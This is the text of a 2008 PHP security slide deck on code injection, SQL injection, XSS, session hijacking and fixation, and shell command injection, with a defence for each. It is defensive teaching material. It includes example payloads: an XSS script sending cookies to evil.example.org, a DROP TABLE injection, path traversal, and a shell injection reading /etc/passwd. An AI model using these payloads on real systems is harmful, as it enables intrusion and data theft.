SlideShare a Scribd company logo
1 
PHP Attacks and Defense 
K.Bala Vignesh 
kbalavignesh@gmail.com
2 
Most Secured computer in the 
WORLD 
No Need to secure the OS 
No Need to secure the S/W 
No need to do Anything 
It's Naturally Secured
3 
Even No Need to Switch ON
4 
Web ­Security 
? 
PHP ?
5 
Fact : 1 
PHP Mainly for 
Web Programs 
Fact : 2 
Easy To Learn
6 
PHP: 20,917,850 domains, 
1,224,183 IP addresses 
Fact : 3 
Fact : 4 
More Flexible Functions
7 
Few Named threats 
Code Injection 
SQL Injection 
Cross Site Script (XSS) 
Session Hijacking 
Session Fixation 
Temp Files abuse 
Remote Execution 
More and More unNamed threats...
8 
Code Injection
Code Injection 
9 
Dont directly pass the filenames 
$filename = $_REQUEST['message']; 
$message = file_get_contents($filename); 
print $message; 
This is ok: 
http://example.com/myscript.php?message=hello.txt 
But what if I do like this?: 
http://example.com/myscript.php?message=passwords.txt
Code Injection 
10 
This is especially important for includes, require 
and require_once 
$module = $_REQUEST['module']; 
include(“lib/$module”); 
This is ok: 
http://example.com/cms?module=login.php 
But what if I do like this?: 
http://example.com/cms?module=../passwords.ini
Defense Code Injection 
11 
Make sure the value is one 
you expected, if not...ERROR! 
$requestedModule = $_REQUEST['module']; 
switch($requestedModule) 
{ 
case “login”: 
$module = “login”; break; 
case “logout”: 
$module = “logout”; break; 
default: 
$module = “error”; 
}
12 
SQL Injection
13 
Form to user search .... 
$username=$_POST['username']; 
$query= "SELECT * FROM users WHERE name = ' “ .$username." ' ;" 
If i give , 
$username ­­­a' 
or 't'='t 
Query will be , 
"SELECT * FROM users WHERE name = ' a' or 't'='t ';" 
SQL Injection
14 
If i give , 
$username ­­­a'; 
DROP TABLE users; SELECT * FROM data WHERE name 
LIKE '% 
Query will be , 
SELECT * FROM users WHERE name = ' a';DROP TABLE users; SELECT * 
FROM data WHERE name LIKE '% '; 
SQL Injection
15 
Use single quotation 
eg: "select * from users where user= '.$username.'" 
Check types of user submitted values 
is_bool(), is_float(), is_numeric(), is_string(), is_int() , 
intval() , settype() ,strlen() 
eg: strpos($query , ';') 
Escape every questionable character in your query 
' " , ; ( ) and keywords "FROM", "LIKE", and "WHERE" 
mysql_real_escape_string 
SQL Injection 
Defense
16 
magic_quotes_gpc (default – on ) (deprecation – php 6.0) 
If Off use 
addslashes 
If On , If you don't need 
stripslashes 
if (get_magic_quotes_gpc()){ 
$_GET = array_map('stripslashes', $_GET); 
$_POST = array_map('stripslashes', $_POST); 
$_COOKIE = array_map('stripslashes', $_COOKIE); 
} 
SQL Injection 
Defense
17 
Mysql Improved Extension 
$query=mysqli_prepare($connection_string, "select * from user where user= ?"); 
mysqli_stmt_bind_param($query,"s",$username); 
mysqli_stmt_execute($query); 
s­string 
i­integer 
d­double 
b­binary 
PEAR ­DB, 
DataObject 
SQL Injection 
Defense
18 
XSS – Cross Site Scripting
19 
1.) Inserting scripts 
<script> 
document.location = 
'http://evil.example.org/steal_cookies.php?cookies=' + 
document.cookie 
</script> 
2.) Login 
3.) Set Cookies 
4.) Executes the scripts 
XSS 
5.) Steals the cookies
20 
Remote control of the client browser 
Reveal the value of a cookie 
Change links on the page 
Redirect to another URI 
Render a bogus form 
or 
Any undesirable action ... 
XSS
Defense 
XSS Encode HTML Entities in All Non­HTML 
Output 
21 
htmlentities() 
Eg: 
$str = "A 'quote' is <b>bold</b>"; 
echo htmlentities($str); 
Outputs Will be ­> 
A 'quote' is &lt;b&gt;bold&lt;/b&gt; 
Check the image upload URI (avatar, icon) 
parse_url 
Eg: 
<img src=”http://shopping.example.com/addCart.php?item=123”/> 
Show the domain name for User submitted Links 
eg. 
Not safe ­­> 
Hey click this to see my photo <a href=”http://badguys.net”>Bala</a> 
safe ­­> 
Hey click this to see my photo [badguys.net] Bala
22 
Session Hijacking
23 
What is Session ID ?
24 
Victim 
Attacker 
Web Server 
Session ID= AD238723FD32 
Session Hijacking
25 
Victim 
Attacker 
Web Server 
Session ID= AD238723FD32 
Session ID= 
AD238723FD32 
Session Hijacking
Session Hijacking 
26 
Network Eavesdropping ­Promiscuous 
Mode 
If Intranet ? 
Use Switch rather than a Hub 
If wi­fi 
? 
WEP ­Weired 
Equivalent Privacy 
If Internet ? 
SSL
27 
Session Hijacking 
Unwitting Exposure 
Sending links 
See this item ­­­­http:// 
store.com/items.php?item=0987 
it's O.K , if i send like this, 
http://store.com/items.php?item=0987&phpsessid=34223 
How to Avoid ? 
session.use_trans_sid (turned off by default) 
session.use_only_cookies (Defaults to 1 (enabled) since PHP 6.0.)
28 
2.) If he clicks, http://unsafesite?SID=3423 3. Shows login page 
Victim 
Session Fixation 
Attacker 
Web Server 
1.) See this link 
http://unsafesite?SID=3423 
Set SessionID =3423 
session_id($_GET['SID']) 
4.) Now Full Access 
http://unsafesite?SID=3423
29 
Session Hijacking Defense 
Use SSL. 
Use Cookies Instead of $_GET Variables. 
(ini_set ('session.use_only_cookies',TRUE); 
ini_set ('session.use_trans_sid',FALSE); 
Use Session Timeouts 
ini_set('session.cookie_lifetime',1200) 
ini_set('session.gc_maxlifetime) 
Regenerate IDs for Users with Changed Status 
session_regenerate_id
30 
Remote Execution
Remote Execution 
31 
Injection of Shell commands 
<?php 
$filename=$_GET['filename']; 
$command='/usr/bin/wc $filename”; 
$words=shell_exec ($command); 
print “$filename contains $words words.”; 
?> 
This is ok ... 
wordcount.php?filename=textfile.txt 
But, What if i give like this ... 
wordcount.php?filename=%2Fdev%2Fnull%20%7C%20cat%20%2Fetc%2Fpasswd 
(filename ­­> 
/dev/null | cat /etc/passwd ) 
/usr/bin/wc /dev/null |cat /etc/passwd
Remote Execution 
32 
Defense 
Allow only Trusted , Human Users to Import Code 
Store uploads outside of Web Document Root 
Limit allowable filename extensions for upload 
Use disable_functions directive 
eg: 
disable_functions= “eval,phpinfo” 
Do not include PHP scripts from Remote Servers 
eg: 
<?php 
include ('http://example.net/code/common.php') 
?> 
Properly escape all shell commands 
escapeshellarg() , escapeshellcmd()
33 
Future? ­PHP 
6.0 
Deprecation 
Register Globals 
Big security hole 
Safe Mode 
False sense of security 
Magic Quotes 
Messed with the data 
Upcoming changes and features 
http://www.php.net/~derick/meeting­notes. 
html 
http://www.phphacks.com/content/view/49/33/ 
Rasmus Lerdorf – PHP 6.0 Wish List 
http://news.php.net/php.internals/17883
34 
What to do? 
Proper Input Validation 
Dont do Programming + Security 
Do secure Programming 
htmlentities, mysql_real_escape_string, 
parse_url , addslashes ,escapeshellarg, 
escapeshellcmd... etc 
SSL 
Use PEAR , PECL
Images From Flickr.com 
35 
reference­http:// 
flickr.com/photos/opinicus/246099418/ 
remote_boy ­http:// 
flickr.com/photo_zoom.gne?id=331355695&size=l 
level_cross ­http:// 
flickr.com/photo_zoom.gne?id=67342604&size=o 
injection3­http:// 
flickr.com/photos/fleurdelisa/249435636/ 
building game1­http:// 
flickr.com/photo_zoom.gne?id=346575350&size=o 
computer_baby1­http:// 
flickr.com/photo_zoom.gne?id=102207751&size=o 
country_border1 ­http:// 
flickr.com/photo_zoom.gne?id=48740674&size=l 
computer_baby ­http:// 
flickr.com/photo_zoom.gne?id=436594815&size=m 
hijack ­http:// 
flickr.com/photo_zoom.gne?id=463129891&size=l 
dog_security ­http:// 
flickr.com/photo_zoom.gne?id=2205272682&size=l 
Id card ­http:// 
flickr.com/photo_zoom.gne?id=1269802640&size=o
36 
Reference 
Pro PHP Security 
Chris Snyder , Michael Southwell 
http://wikipedia.org/ 
http://www.sitepoint.com/article/php­security­blunders 
http://phpsec.org/ 
WWW.google.com
37
38
Copyright (c) 2008 
Permission is granted to copy, distribute and/or modify this document 
under the terms of the GNU Free Documentation License, Version 1.2 
or any later version published by the Free Software Foundation. 
http://www.gnu.org/copyleft/fdl.html

More Related Content

What's hot (19)

PDF
End to end web security
George Boobyer
 
PDF
Learning Dtrace
JeongHun Byeon
 
PDF
Practical django secuirty
Andy Dai
 
ODP
Beyond PHP - it's not (just) about the code
Wim Godden
 
PPTX
Django Web Application Security
levigross
 
ODP
My app is secure... I think
Wim Godden
 
ODP
My app is secure... I think
Wim Godden
 
PPT
SQL Injection in PHP
Dave Ross
 
PDF
OWASP Top 10 at International PHP Conference 2014 in Berlin
Tobias Zander
 
PDF
Two scoops of Django - Security Best Practices
Spin Lai
 
PDF
My app is secure... I think
Wim Godden
 
PDF
OWASP TOP 10 for PHP Programmers
rjsmelo
 
PDF
Php101
Ömer Taşkın
 
ODP
When dynamic becomes static: the next step in web caching techniques
Wim Godden
 
PPT
Eight simple rules to writing secure PHP programs
Aleksandr Yampolskiy
 
PDF
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
GeeksLab Odessa
 
PDF
Polyglot payloads in practice by avlidienbrunn at HackPra
Mathias Karlsson
 
PDF
Code obfuscation, php shells & more
Mattias Geniar
 
ODP
Concern of Web Application Security
Mahmud Ahsan
 
End to end web security
George Boobyer
 
Learning Dtrace
JeongHun Byeon
 
Practical django secuirty
Andy Dai
 
Beyond PHP - it's not (just) about the code
Wim Godden
 
Django Web Application Security
levigross
 
My app is secure... I think
Wim Godden
 
My app is secure... I think
Wim Godden
 
SQL Injection in PHP
Dave Ross
 
OWASP Top 10 at International PHP Conference 2014 in Berlin
Tobias Zander
 
Two scoops of Django - Security Best Practices
Spin Lai
 
My app is secure... I think
Wim Godden
 
OWASP TOP 10 for PHP Programmers
rjsmelo
 
When dynamic becomes static: the next step in web caching techniques
Wim Godden
 
Eight simple rules to writing secure PHP programs
Aleksandr Yampolskiy
 
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
GeeksLab Odessa
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Mathias Karlsson
 
Code obfuscation, php shells & more
Mattias Geniar
 
Concern of Web Application Security
Mahmud Ahsan
 

Viewers also liked (20)

PDF
Web Application Security with PHP
jikbal
 
PPT
Secure shell protocol
Baspally Sai Anirudh
 
PDF
Web Application Security: Introduction to common classes of security flaws an...
Thoughtworks
 
PDF
How to Setup A Pen test Lab and How to Play CTF
n|u - The Open Security Community
 
PPT
Practical Example of grep command in unix
Javin Paul
 
PDF
class12_Networking2
T. J. Saotome
 
KEY
Sed & awk the dynamic duo
Joshua Thijssen
 
PPT
Unix command-line tools
Eric Wilson
 
PDF
Defeating The Network Security Infrastructure V1.0
Philippe Bogaerts
 
PDF
Unix Command Line Productivity Tips
Keith Bennett
 
PPT
Learning sed and awk
Yogesh Sawant
 
PPTX
Practical unix utilities for text processing
Anton Arhipov
 
PPTX
Secure SHell
Çağrı Çakır
 
PDF
SSH
Zach Dennis
 
PPTX
Secure Shell(ssh)
Pina Parmar
 
PDF
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
Michael Coates
 
PDF
SSH - Secure Shell
Peter R. Egli
 
PDF
Top 100 Linux Interview Questions and Answers 2014
iimjobs and hirist
 
ODT
RHCE FINAL Questions and Answers
Radien software
 
PPT
Introduction to SSH
Hemant Shah
 
Web Application Security with PHP
jikbal
 
Secure shell protocol
Baspally Sai Anirudh
 
Web Application Security: Introduction to common classes of security flaws an...
Thoughtworks
 
How to Setup A Pen test Lab and How to Play CTF
n|u - The Open Security Community
 
Practical Example of grep command in unix
Javin Paul
 
class12_Networking2
T. J. Saotome
 
Sed & awk the dynamic duo
Joshua Thijssen
 
Unix command-line tools
Eric Wilson
 
Defeating The Network Security Infrastructure V1.0
Philippe Bogaerts
 
Unix Command Line Productivity Tips
Keith Bennett
 
Learning sed and awk
Yogesh Sawant
 
Practical unix utilities for text processing
Anton Arhipov
 
Secure SHell
Çağrı Çakır
 
Secure Shell(ssh)
Pina Parmar
 
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
Michael Coates
 
SSH - Secure Shell
Peter R. Egli
 
Top 100 Linux Interview Questions and Answers 2014
iimjobs and hirist
 
RHCE FINAL Questions and Answers
Radien software
 
Introduction to SSH
Hemant Shah
 
Ad

Similar to PHP Secure Programming (20)

PPT
PHPUG Presentation
Damon Cortesi
 
PPT
General Principles of Web Security
jemond
 
PDF
Web Security 101
Michael Peters
 
PPT
Php & Web Security - PHPXperts 2009
mirahman
 
PPT
Securing Java EE Web Apps
Frank Kim
 
ODP
Top 10 Web Security Vulnerabilities
Carol McDonald
 
PPSX
Web Security
Supankar Banik
 
PPT
Joomla security nuggets
guestbd1cdca
 
PPT
12-security.ppt - PHP and Arabic Language - Index
webhostingguy
 
PPT
Security.ppt
webhostingguy
 
ODP
2009 Barcamp Nashville Web Security 101
brian_dailey
 
PDF
Php vulnerability presentation
Sqa Enthusiast
 
PDF
Evolution Of Web Security
Chris Shiflett
 
PPTX
ASP.NET Web Security
SharePointRadi
 
PPT
Php Security By Mugdha And Anish
OSSCube
 
PPT
Defending Against Attacks With Rails
Tony Amoyal
 
PDF
The top 10 security issues in web applications
Devnology
 
PDF
Web Application Firewall: Suckseed or Succeed
Prathan Phongthiproek
 
PPTX
PCI Security Requirements - secure coding
Haitham Raik
 
PHPUG Presentation
Damon Cortesi
 
General Principles of Web Security
jemond
 
Web Security 101
Michael Peters
 
Php & Web Security - PHPXperts 2009
mirahman
 
Securing Java EE Web Apps
Frank Kim
 
Top 10 Web Security Vulnerabilities
Carol McDonald
 
Web Security
Supankar Banik
 
Joomla security nuggets
guestbd1cdca
 
12-security.ppt - PHP and Arabic Language - Index
webhostingguy
 
Security.ppt
webhostingguy
 
2009 Barcamp Nashville Web Security 101
brian_dailey
 
Php vulnerability presentation
Sqa Enthusiast
 
Evolution Of Web Security
Chris Shiflett
 
ASP.NET Web Security
SharePointRadi
 
Php Security By Mugdha And Anish
OSSCube
 
Defending Against Attacks With Rails
Tony Amoyal
 
The top 10 security issues in web applications
Devnology
 
Web Application Firewall: Suckseed or Succeed
Prathan Phongthiproek
 
PCI Security Requirements - secure coding
Haitham Raik
 
Ad

More from Balavignesh Kasinathan (6)

PDF
Backbone 4.0
Balavignesh Kasinathan
 
PDF
Introduction to Scrum
Balavignesh Kasinathan
 
PDF
Introduction to Opensource
Balavignesh Kasinathan
 
PDF
Version Management with CVS
Balavignesh Kasinathan
 
PDF
Trainer GUI for Tesseract
Balavignesh Kasinathan
 
Introduction to Scrum
Balavignesh Kasinathan
 
Introduction to Opensource
Balavignesh Kasinathan
 
Version Management with CVS
Balavignesh Kasinathan
 
Trainer GUI for Tesseract
Balavignesh Kasinathan
 

Recently uploaded (20)

PDF
Generic or Specific? Making sensible software design decisions
Bert Jan Schrijver
 
PPTX
Tally_Basic_Operations_Presentation.pptx
AditiBansal54083
 
PDF
Download Canva Pro 2025 PC Crack Full Latest Version
bashirkhan333g
 
PDF
MiniTool Partition Wizard Free Crack + Full Free Download 2025
bashirkhan333g
 
PDF
Driver Easy Pro 6.1.1 Crack Licensce key 2025 FREE
utfefguu
 
PDF
4K Video Downloader Plus Pro Crack for MacOS New Download 2025
bashirkhan333g
 
PDF
MiniTool Partition Wizard 12.8 Crack License Key LATEST
hashhshs786
 
PDF
Top Agile Project Management Tools for Teams in 2025
Orangescrum
 
PDF
유니티에서 Burst Compiler+ThreadedJobs+SIMD 적용사례
Seongdae Kim
 
PPTX
OpenChain @ OSS NA - In From the Cold: Open Source as Part of Mainstream Soft...
Shane Coughlan
 
PPTX
Home Care Tools: Benefits, features and more
Third Rock Techkno
 
PPTX
Change Common Properties in IBM SPSS Statistics Version 31.pptx
Version 1 Analytics
 
PPTX
Why Businesses Are Switching to Open Source Alternatives to Crystal Reports.pptx
Varsha Nayak
 
PPTX
In From the Cold: Open Source as Part of Mainstream Software Asset Management
Shane Coughlan
 
PPTX
Agentic Automation Journey Series Day 2 – Prompt Engineering for UiPath Agents
klpathrudu
 
PDF
Wondershare PDFelement Pro Crack for MacOS New Version Latest 2025
bashirkhan333g
 
PDF
iTop VPN With Crack Lifetime Activation Key-CODE
utfefguu
 
PPTX
Agentic Automation: Build & Deploy Your First UiPath Agent
klpathrudu
 
PDF
Unlock Efficiency with Insurance Policy Administration Systems
Insurance Tech Services
 
PDF
Digger Solo: Semantic search and maps for your local files
seanpedersen96
 
Generic or Specific? Making sensible software design decisions
Bert Jan Schrijver
 
Tally_Basic_Operations_Presentation.pptx
AditiBansal54083
 
Download Canva Pro 2025 PC Crack Full Latest Version
bashirkhan333g
 
MiniTool Partition Wizard Free Crack + Full Free Download 2025
bashirkhan333g
 
Driver Easy Pro 6.1.1 Crack Licensce key 2025 FREE
utfefguu
 
4K Video Downloader Plus Pro Crack for MacOS New Download 2025
bashirkhan333g
 
MiniTool Partition Wizard 12.8 Crack License Key LATEST
hashhshs786
 
Top Agile Project Management Tools for Teams in 2025
Orangescrum
 
유니티에서 Burst Compiler+ThreadedJobs+SIMD 적용사례
Seongdae Kim
 
OpenChain @ OSS NA - In From the Cold: Open Source as Part of Mainstream Soft...
Shane Coughlan
 
Home Care Tools: Benefits, features and more
Third Rock Techkno
 
Change Common Properties in IBM SPSS Statistics Version 31.pptx
Version 1 Analytics
 
Why Businesses Are Switching to Open Source Alternatives to Crystal Reports.pptx
Varsha Nayak
 
In From the Cold: Open Source as Part of Mainstream Software Asset Management
Shane Coughlan
 
Agentic Automation Journey Series Day 2 – Prompt Engineering for UiPath Agents
klpathrudu
 
Wondershare PDFelement Pro Crack for MacOS New Version Latest 2025
bashirkhan333g
 
iTop VPN With Crack Lifetime Activation Key-CODE
utfefguu
 
Agentic Automation: Build & Deploy Your First UiPath Agent
klpathrudu
 
Unlock Efficiency with Insurance Policy Administration Systems
Insurance Tech Services
 
Digger Solo: Semantic search and maps for your local files
seanpedersen96
 

PHP Secure Programming

  • 1. 1 PHP Attacks and Defense K.Bala Vignesh [email protected]
  • 2. 2 Most Secured computer in the WORLD No Need to secure the OS No Need to secure the S/W No need to do Anything It's Naturally Secured
  • 3. 3 Even No Need to Switch ON
  • 5. 5 Fact : 1 PHP Mainly for Web Programs Fact : 2 Easy To Learn
  • 6. 6 PHP: 20,917,850 domains, 1,224,183 IP addresses Fact : 3 Fact : 4 More Flexible Functions
  • 7. 7 Few Named threats Code Injection SQL Injection Cross Site Script (XSS) Session Hijacking Session Fixation Temp Files abuse Remote Execution More and More unNamed threats...
  • 9. Code Injection 9 Dont directly pass the filenames $filename = $_REQUEST['message']; $message = file_get_contents($filename); print $message; This is ok: http://example.com/myscript.php?message=hello.txt But what if I do like this?: http://example.com/myscript.php?message=passwords.txt
  • 10. Code Injection 10 This is especially important for includes, require and require_once $module = $_REQUEST['module']; include(“lib/$module”); This is ok: http://example.com/cms?module=login.php But what if I do like this?: http://example.com/cms?module=../passwords.ini
  • 11. Defense Code Injection 11 Make sure the value is one you expected, if not...ERROR! $requestedModule = $_REQUEST['module']; switch($requestedModule) { case “login”: $module = “login”; break; case “logout”: $module = “logout”; break; default: $module = “error”; }
  • 13. 13 Form to user search .... $username=$_POST['username']; $query= "SELECT * FROM users WHERE name = ' “ .$username." ' ;" If i give , $username ­­­a' or 't'='t Query will be , "SELECT * FROM users WHERE name = ' a' or 't'='t ';" SQL Injection
  • 14. 14 If i give , $username ­­­a'; DROP TABLE users; SELECT * FROM data WHERE name LIKE '% Query will be , SELECT * FROM users WHERE name = ' a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '% '; SQL Injection
  • 15. 15 Use single quotation eg: "select * from users where user= '.$username.'" Check types of user submitted values is_bool(), is_float(), is_numeric(), is_string(), is_int() , intval() , settype() ,strlen() eg: strpos($query , ';') Escape every questionable character in your query ' " , ; ( ) and keywords "FROM", "LIKE", and "WHERE" mysql_real_escape_string SQL Injection Defense
  • 16. 16 magic_quotes_gpc (default – on ) (deprecation – php 6.0) If Off use addslashes If On , If you don't need stripslashes if (get_magic_quotes_gpc()){ $_GET = array_map('stripslashes', $_GET); $_POST = array_map('stripslashes', $_POST); $_COOKIE = array_map('stripslashes', $_COOKIE); } SQL Injection Defense
  • 17. 17 Mysql Improved Extension $query=mysqli_prepare($connection_string, "select * from user where user= ?"); mysqli_stmt_bind_param($query,"s",$username); mysqli_stmt_execute($query); s­string i­integer d­double b­binary PEAR ­DB, DataObject SQL Injection Defense
  • 18. 18 XSS – Cross Site Scripting
  • 19. 19 1.) Inserting scripts <script> document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie </script> 2.) Login 3.) Set Cookies 4.) Executes the scripts XSS 5.) Steals the cookies
  • 20. 20 Remote control of the client browser Reveal the value of a cookie Change links on the page Redirect to another URI Render a bogus form or Any undesirable action ... XSS
  • 21. Defense XSS Encode HTML Entities in All Non­HTML Output 21 htmlentities() Eg: $str = "A 'quote' is <b>bold</b>"; echo htmlentities($str); Outputs Will be ­> A 'quote' is &lt;b&gt;bold&lt;/b&gt; Check the image upload URI (avatar, icon) parse_url Eg: <img src=”http://shopping.example.com/addCart.php?item=123”/> Show the domain name for User submitted Links eg. Not safe ­­> Hey click this to see my photo <a href=”http://badguys.net”>Bala</a> safe ­­> Hey click this to see my photo [badguys.net] Bala
  • 23. 23 What is Session ID ?
  • 24. 24 Victim Attacker Web Server Session ID= AD238723FD32 Session Hijacking
  • 25. 25 Victim Attacker Web Server Session ID= AD238723FD32 Session ID= AD238723FD32 Session Hijacking
  • 26. Session Hijacking 26 Network Eavesdropping ­Promiscuous Mode If Intranet ? Use Switch rather than a Hub If wi­fi ? WEP ­Weired Equivalent Privacy If Internet ? SSL
  • 27. 27 Session Hijacking Unwitting Exposure Sending links See this item ­­­­http:// store.com/items.php?item=0987 it's O.K , if i send like this, http://store.com/items.php?item=0987&phpsessid=34223 How to Avoid ? session.use_trans_sid (turned off by default) session.use_only_cookies (Defaults to 1 (enabled) since PHP 6.0.)
  • 28. 28 2.) If he clicks, http://unsafesite?SID=3423 3. Shows login page Victim Session Fixation Attacker Web Server 1.) See this link http://unsafesite?SID=3423 Set SessionID =3423 session_id($_GET['SID']) 4.) Now Full Access http://unsafesite?SID=3423
  • 29. 29 Session Hijacking Defense Use SSL. Use Cookies Instead of $_GET Variables. (ini_set ('session.use_only_cookies',TRUE); ini_set ('session.use_trans_sid',FALSE); Use Session Timeouts ini_set('session.cookie_lifetime',1200) ini_set('session.gc_maxlifetime) Regenerate IDs for Users with Changed Status session_regenerate_id
  • 31. Remote Execution 31 Injection of Shell commands <?php $filename=$_GET['filename']; $command='/usr/bin/wc $filename”; $words=shell_exec ($command); print “$filename contains $words words.”; ?> This is ok ... wordcount.php?filename=textfile.txt But, What if i give like this ... wordcount.php?filename=%2Fdev%2Fnull%20%7C%20cat%20%2Fetc%2Fpasswd (filename ­­> /dev/null | cat /etc/passwd ) /usr/bin/wc /dev/null |cat /etc/passwd
  • 32. Remote Execution 32 Defense Allow only Trusted , Human Users to Import Code Store uploads outside of Web Document Root Limit allowable filename extensions for upload Use disable_functions directive eg: disable_functions= “eval,phpinfo” Do not include PHP scripts from Remote Servers eg: <?php include ('http://example.net/code/common.php') ?> Properly escape all shell commands escapeshellarg() , escapeshellcmd()
  • 33. 33 Future? ­PHP 6.0 Deprecation Register Globals Big security hole Safe Mode False sense of security Magic Quotes Messed with the data Upcoming changes and features http://www.php.net/~derick/meeting­notes. html http://www.phphacks.com/content/view/49/33/ Rasmus Lerdorf – PHP 6.0 Wish List http://news.php.net/php.internals/17883
  • 34. 34 What to do? Proper Input Validation Dont do Programming + Security Do secure Programming htmlentities, mysql_real_escape_string, parse_url , addslashes ,escapeshellarg, escapeshellcmd... etc SSL Use PEAR , PECL
  • 35. Images From Flickr.com 35 reference­http:// flickr.com/photos/opinicus/246099418/ remote_boy ­http:// flickr.com/photo_zoom.gne?id=331355695&size=l level_cross ­http:// flickr.com/photo_zoom.gne?id=67342604&size=o injection3­http:// flickr.com/photos/fleurdelisa/249435636/ building game1­http:// flickr.com/photo_zoom.gne?id=346575350&size=o computer_baby1­http:// flickr.com/photo_zoom.gne?id=102207751&size=o country_border1 ­http:// flickr.com/photo_zoom.gne?id=48740674&size=l computer_baby ­http:// flickr.com/photo_zoom.gne?id=436594815&size=m hijack ­http:// flickr.com/photo_zoom.gne?id=463129891&size=l dog_security ­http:// flickr.com/photo_zoom.gne?id=2205272682&size=l Id card ­http:// flickr.com/photo_zoom.gne?id=1269802640&size=o
  • 36. 36 Reference Pro PHP Security Chris Snyder , Michael Southwell http://wikipedia.org/ http://www.sitepoint.com/article/php­security­blunders http://phpsec.org/ WWW.google.com
  • 37. 37
  • 38. 38
  • 39. Copyright (c) 2008 Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation. http://www.gnu.org/copyleft/fdl.html